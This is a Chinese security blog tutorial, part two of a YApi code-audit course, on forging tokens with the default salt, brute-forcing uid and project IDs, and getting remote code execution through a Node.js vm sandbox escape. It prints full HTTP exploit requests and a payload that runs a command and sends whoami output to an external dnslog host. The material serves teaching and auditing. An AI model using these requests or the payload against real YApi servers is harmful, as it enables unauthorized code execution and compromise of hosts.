代码审计公开课|yapi代码审计到rce(下)

admin 2023年3月1日11:29:12评论31 views字数 4767阅读15分53秒阅读模式

书接上回


代码审计公开课|yapi代码审计到rce(上)

0x04 token的正确打开方式

我们知道,token是一种免密登陆的凭据。持有token的访问者,可以访问特定的接口。

代码审计公开课|yapi代码审计到rce(下)

但是登陆后台发现,展示的token与我们注入得到的并不一样,与数据库中的值对不上。

代码审计公开课|yapi代码审计到rce(下)

原因就在我们一开始忽略没讲的parseToken方法里面

代码审计公开课|yapi代码审计到rce(下)

当程序拿到传递过来的token后,会先进行一次aseDecode并且从中获取uid后才能正确确权。

代码审计公开课|yapi代码审计到rce(下)

也就是,如果传入的是一个未加密的token,那么uid就是默认的99999,并且用户权限是member,而不是uid所对应的用户权限(这会导致后面对一些项目没有权限)。

所以我们必须自己设置uid。一般采用的方法是爆破。

代码审计公开课|yapi代码审计到rce(下)

并且从这里我们可以看到,在不做特殊处理的情况下,默认的加密密钥是

const defaultSalt = 'abcde';

我们按原样加密就好了

代码审计公开课|yapi代码审计到rce(下)

因为我们是代码审计,自己能看到数据库,所以我就不爆破了,直接填11就好了。此时,访问就正常了。

代码审计公开课|yapi代码审计到rce(下)

剩下的就是按部就班的爆破利用,不涉及很多的原理讲解,我们快速过一下。

具体的可以参考https://raw.githubusercontent.com/vulhub/vulhub/master/yapi/mongodb-inj/poc.py 这个poc里面的内容,总结步骤就是

/api/project/get 通过修改参数,爆破token对应的项目所属的用户的uid
/api/project/get 通过修改参数,爆破token对应的项目project_id
/api/project/up 通过修改参数,持有项目的project_id和token,对该项目的“请求配置”进行设置(录入沙盒逃逸的poc)
/api/open/run_auto_test 通过修改参数,自动运行所有的测试集(运行poc)

0x05 演示

环境准备

1.我们先登录管理员账号,添加一个项目。

代码审计公开课|yapi代码审计到rce(下)

添加一个接口,并将该接口添加到测试集

代码审计公开课|yapi代码审计到rce(下)

进入设置页面,查看token配置。这里有一个坑点,就是一个yapi项目是可以没有token的,默认就是没有token,必须用户首先手动点进token配置这一页才会自动创建一个token。

代码审计公开课|yapi代码审计到rce(下)

这样环境就准备好了。

我们知道,yapi是一个接口管理平台,它的日常业务就是创建项目、管理接口、并用来进行手动或者自动的测试,所以正常我们遇到一个项目,一般而言这个基础环境都是配置好的。

利用演示

注入得到token

代码审计公开课|yapi代码审计到rce(下)

爆破项目project_id,其实就是遍历,项目存在的时候会显示“没有权限”

http://127.0.0.1:3000/api/project/get?id=35&token=0c15c1253680cdfdc062

代码审计公开课|yapi代码审计到rce(下)

代码审计公开课|yapi代码审计到rce(下)

然后再爆破uid(同时也可以爆破出该用户有权限的项目)

加密token原文,但是加密的时候要进行爆破,其实就是把uid从1-200进行加密,然后遍历。我们这边直接看就好了。

代码审计公开课|yapi代码审计到rce(下)

得到加密后的token

代码审计公开课|yapi代码审计到rce(下)

代码审计公开课|yapi代码审计到rce(下)

给项目添加请求参数处理脚本

利用前

代码审计公开课|yapi代码审计到rce(下)

POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close
Content-Length: 230

id=35&token=d54892c280d0d32a15330606c8f66b6b20a84041e35e29c8702bddce48bba97e&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping `whoami`.xxoo.jkaw02.dnslog.cn')

这样就把我们的沙盒逃逸的payload注入到请求前的参数处理脚本里面了。

调用脚本

其实就是运行测试集,但是我们事先并不知道测试集的id是多少。所以只能爆破cid(测试集id)

GET /api/open/run_auto_test?id=11&token=d54892c280d0d32a15330606c8f66b6b20a84041e35e29c8702bddce48bba97e HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close

代码审计公开课|yapi代码审计到rce(下)

这样,当测试集运行时,就会触发我们的沙盒逃逸脚本,然后rce

4.沙盒逃逸到rce

大家也注意到了,我们刚才有个点没有提及。就是我们说给项目新增了一个脚本,该脚本能够进行沙盒逃逸来rce。那么具体是什么意思呢

this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping `whoami`.xxoo.jkaw02.dnslog.cn')

其实这与yapi的关系不大了,是nodejs的vm模块出现的问题。我们给大家大致讲讲。

通过跟踪runAutoTest的逻辑,我们可以找到最终是如何调用沙箱的

runAutoTest
handleTest
crossRequest
sandbox
sandboxByNode

在crossRequest里面的逻辑是这样的

 if (preScript) {
   context = await sandbox(contextpreScript);
   defaultOptions.url = options.url = URL.format({
     protocolurlObj.protocol,
     hosturlObj.host,
     querycontext.query,
     pathnamecontext.pathname
  });
   defaultOptions.headers = options.headers = context.requestHeader;
   defaultOptions.data = options.data = context.requestBody;
}

可以看到将我们的脚本丢进了sandbox函数

代码审计公开课|yapi代码审计到rce(下)

然后sandbox又调用了sandboxByNode

function sandboxByNode(sandbox = {}, script) {
 const vm = require('vm');
 script = new vm.Script(script);
 const context = new vm.createContext(sandbox);
 script.runInContext(context, {
   timeout10000
});
 return sandbox;
}

简单一句话,将我们的脚本丢进了vm沙箱进行执行

所以接下来我们讲解的就是跟vm沙箱相关的知识。

这一块给大家推荐一个学习资料

关于沙箱的概念

代码审计公开课|yapi代码审计到rce(下)

默认的作用域

代码审计公开课|yapi代码审计到rce(下)

global作用域内的符号是全局可用的,任何一个上下文都可以用。

比如y1的作用域引入了y2这个包,它可以引用的符号,必须在y2中显式导出

沙箱的作用域

vm库里面有好几个api,不同api会形成的作用域也不同。

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

代码审计公开课|yapi代码审计到rce(下)

在这种情况下其实与默认的作用域是一样的。

  • vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

    vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

这种是比较常见的调用方式

代码审计公开课|yapi代码审计到rce(下)

这种形式下,sandbox所处在的作用域就与global没有包含关系了。sandbox此时拿到全局对象都是在v8沙箱中的。

yapi的作用域

所以回到我们的sandboxByNode

function sandboxByNode(sandbox = {}, script) {
 const vm = require('vm');
 script = new vm.Script(script);  //将脚本编译但是不执行
 const context = new vm.createContext(sandbox);  //创建沙箱上下文context,引入的符号中不包含process
 script.runInContext(context, {  //在沙箱上下文中执行脚本
   timeout10000
});
 return sandbox;
}

代码审计公开课|yapi代码审计到rce(下)

我们来一步一步拆解,这里复习一个概念。大家学c的时候,肯定学过参数的传递分为值传递还是指针传递

对于对象这种复杂结构,一般都是指针传递(引用传递)。

类似的,nodejs里面也一样。

this   //当前上下文,其实就是createContext的参数,也就是sandbox这个对象,该对象因为是引用传递,所以它的作用域不在沙箱中
.constructor //sandbox对象的构造器,是一个Object constructor结构,实际上是一个Funtion对象(沙箱外)
.constructor //sandbox对象的构造器的构造器,也就是Funtion对象的构造器(沙箱外)
("return process")  //自定义函数实现为"return process",
()  //调用Funtion对象的构造器,并且实现为"return process" --》返回process全局对象
.mainModule.require('child_process')  //通过require引入child_process模块 process..mainModule.require('child_process').exec('whoami')
.exec('whoami')  //执行命令

关于nodejs下vm沙箱、vm2沙箱的逃逸,知识点还有很多,远不是我们这小半节课可以讲完的,这里只是给师傅们讲了一个最简单的案例。后面如果内部培训学员呼声比较多的话,我们可以考虑在二期培训里面作为课程来讲解。


原文始发于微信公众号(Th0r安全):代码审计公开课|yapi代码审计到rce(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月1日11:29:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计公开课|yapi代码审计到rce(下)http://cn-sec.com/archives/1581474.html

发表评论

匿名网友 填写信息